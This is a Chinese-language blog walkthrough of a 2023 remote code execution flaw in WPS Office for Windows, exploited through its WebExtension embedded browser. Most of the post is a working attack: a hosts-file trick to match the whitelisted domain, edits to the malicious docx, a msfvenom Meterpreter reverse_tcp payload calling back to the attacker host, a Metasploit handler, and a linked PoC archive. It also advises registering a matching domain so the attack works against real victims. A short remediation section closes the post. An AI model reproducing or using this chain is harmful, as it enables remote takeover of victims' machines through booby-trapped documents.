LOADING

正在加载

WPS_RCE

壹 漏洞概念

WPS Office是由北京金山办公软件股份有限公司自主研发的一款办公软件套装,可以实现办公软件最常用的文字、表格、演示、PDF 阅读等多种功能,其具有内存占用低、运行速度快、云功能多、强大插件平台支持、免费提供在线存储空间及文档模板的优点。在国内,目前几乎所有的PC端都用到该办公软件进行日常的办公。2023年08月09日,WPS Office for Windows爆出存在0day漏洞,攻击者通过诱导用户打开文档中嵌入的远程链接即可触发此漏洞执行任意代码。

贰 漏洞原理及利用条件

WPS office for windows使用了一种用于扩展Microsoft Office功能的技术,即WebExtension,该技术可以将第三方开发者开发的插件集成到自己的服务和功能中,本次漏洞是由于WPS在处理WebExtension时,未能正确的处理javascript代码,造成了溢出RCE(类似于之前的chrome浏览器RCE漏洞)。说白了,就是因为WPS内置浏览器存在逻辑漏洞,使得攻击者可以利用该漏洞专门构造出恶意文档,受害者打开该文档并点击文档中的URL链接或包含了超级链接的图片时,存在漏洞版本的WPS office会通过内嵌浏览器加载该链接,接着该链接中js脚本会通过cefQuery调用WPS端内API下载文件并打开文件,进而导致恶意文件在受害者电脑上被运行。

利用条件:

  • 受害机使用的WPS需要在存在漏洞的对应版本内

  • 攻击者需要在公网开启一个web服务,用来受害者服务其html文件,并且其域名需要遵循http://clientweb.docer.wps.cn.{xxxxx}wps.cn,猜测可能是使用了白名单检测,其匹配的规则为http://clientweb.docer.wps.cn.*?wps.cn

  • 受害机需要通过http协议访问到攻击机,并且打开恶意构造的wps文件

叁 适用版本

WPS Office 2023 个人版 < 11.1.0.15120

WPS Office 2019 企业版 < 11.8.2.12085

肆 复现环境说明

复现WPS Office版本:11.1.0.12313

image-20230828102151065

攻击机(kali):192.168.73.128

image-20230828102432218

受害机(Windows 10):192.168.73.130

image-20230828102351428

连通性:

kali不能pingWindows10,因为windows10开启了防火墙:

image-20230828102811285

Windows10pingkali,与正常的业务一致需要访问外网:

image-20230828102822599

伍 复现

5.1 弹窗计算器

前期准备:

  • 受害机修改host文件,这里的host文件域名设置只需要遵循clientweb.docer.wps.cn.{xxxxx}wps.cn即可,但是wps.cn域名与{xxxxx}wps.cn域名并不存在绑定关系:
192.168.73.128  clientweb.docer.wps.cn.cloudwps.cn

image-20230828103258523

  • 攻击机设置web服务,并且将poc文件放在当前文件夹下:
python3 -m http.server 80

image-20230828103708125

安装版本为11.1.0.12313WPS Office办公软件并打开攻击者发送的存在问题的poc.docx文件,出现计算器弹窗:

image-20230828104105565

然后查看kali攻击机的web服务响应,可以看到存在请求:

image-20230828104330649

至此简单的计算器复现成功。

5.2 进一步getshell利用

首先我们还是需要设置host文件,这里换一个新的域名,以确定其普遍性:

192.168.73.128  clientweb.docer.wps.cn.demowps.cn

image-20230828105415723

修改域名后,我们需要修改poc.docx文件,将其通过压缩工具解压,这里使用7-zip解压工具:

image-20230828105635500

修改poc\word\webExtensions下的webExtensions1.xml文件:

image-20230828105808963

修改为:

image-20230828105837221

保存后将其压缩,注意需要在poc文件内进行压缩:

image-20230828110100300

最后将poc.zip修改为诱惑受害者点击的名字即可:

image-20230828110239765

然后生成msf马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.128 LPORT=4444 -f csharp > shellcode.cs

image-20230828110554542

接着将shellcode.csshellcode代码,复制到1.html中的shellcode变量中,需要注意这里生成的是C#shellcode

image-20230828110741744

image-20230828110846548

攻击机在1.html的目录下开启web服务:

image-20230828110940991

运行msf

msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.73.128
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run

image-20230828120224094

受害者点击docx文件:

image-20230828112043995

可以看到getshell成功:

image-20230828120654382

image-20230828120706088

5.3 实战中的思考

整体的利用相对较为简单,利用的方法不需要受害机设置过多的配置,只需要点击攻击者发送的文档,即可被远控,在实验中,我们需要在客户端设置host文件绑定,但在实战中,只要购买一个遵循clientweb.docer.wps.cn.{xxxxx}wps.cn的域名即可,其他前期操作只需要在攻击机上设置。

陆 利用Poc|Exp以及工具

利用的poc

WPS_RCE复现.zip

存在问题的版本软件太大了,需要的私信或者评论!

柒 危害

攻击者通过诱导用户打开文档中嵌入的远程链接即可触发此漏洞执行任意代码。

捌 修复建议

  • 官方修复方案:
    参考官方通告,升级至安全版本:https://security.wps.cn/notices/35

  • 临时修复方案:

    在未升级至安全版本前,建议不要用WPS打开来源未知的文档,更不要点击来源未知的文档中的任何链接。

拾 参考

avatar
小C&天天

修学储能 先博后渊


今日诗句